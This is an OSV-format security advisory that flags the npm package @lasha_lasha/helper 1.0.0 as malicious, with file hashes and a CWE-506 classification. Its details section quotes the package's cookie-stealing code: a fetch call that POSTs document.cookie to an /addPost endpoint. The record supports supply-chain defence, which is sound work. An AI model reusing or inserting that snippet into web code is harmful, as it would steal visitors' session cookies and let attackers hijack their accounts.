{"id":"MAL-2026-20191","summary":"Malicious code in @lasha_lasha/helper (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (385a7c95f6e587dbef7b67326deebf63c291094b305f0e96cfada0d9c364b3f5)\nThe package's main entry contains a browser-targeted script that reads document.cookie and POSTs it with an 'EXFIL:' prefix to the relative URL /addPost (fetch('/addPost', { method:'POST', body: JSON.stringify({content: 'EXFIL:' + document.cookie}) })). The code has no legitimate library function; its only behavior is to harvest session cookies from whatever page it runs in and send them to a same-origin collector endpoint. Any consumer who bundles or injects this module into a web page would cause their users' session cookies to be exfiltrated.\n","modified":"2026-11-19T07:15:08.044948670Z","published":"2026-11-19T06:54:04Z","database_specific":{"malicious-packages-origins":[{"versions":["1.0.0"],"id":"IN-MAL-2026-022869","import_time":"2026-11-19T07:12:43.10991787Z","modified_time":"2026-11-19T06:54:04Z","sha256":"385a7c95f6e587dbef7b67326deebf63c291094b305f0e96cfada0d9c364b3f5","source":"amazon-inspector"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@lasha_lasha/helper/v/1.0.0"}],"affected":[{"package":{"name":"@lasha_lasha/helper","ecosystem":"npm","purl":"pkg:npm/%40lasha_lasha/helper"},"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"sha256":"b0c235c41ac90cbe86f5a41e2e6726ee46c4fea20fce05f56e9b9ac0e46ba4f7","tlsh":"dbc08ce669194c02af7ee416297ca0a416380c1ca00768918880044d0ace6484934830","path":"index.js"}],"package_integrity":[{"filename":"helper-1.0.0.tgz","hashes":{"sha1":"ab6ad387a28017f7ad1a0f02d8536292f5d465ef","sha512_sri":"sha512-Cefrp334ieGCt3k5ERKXq7MEG03BdFb2P/zNdtCXbzzN53ru2MhnosJPCcsWUuyjDBMqekoQPh8iZFrCH3GBrQ=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@lasha_lasha/helper/MAL-2026-20191.json"}}],"schema_version":"1.9.2","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}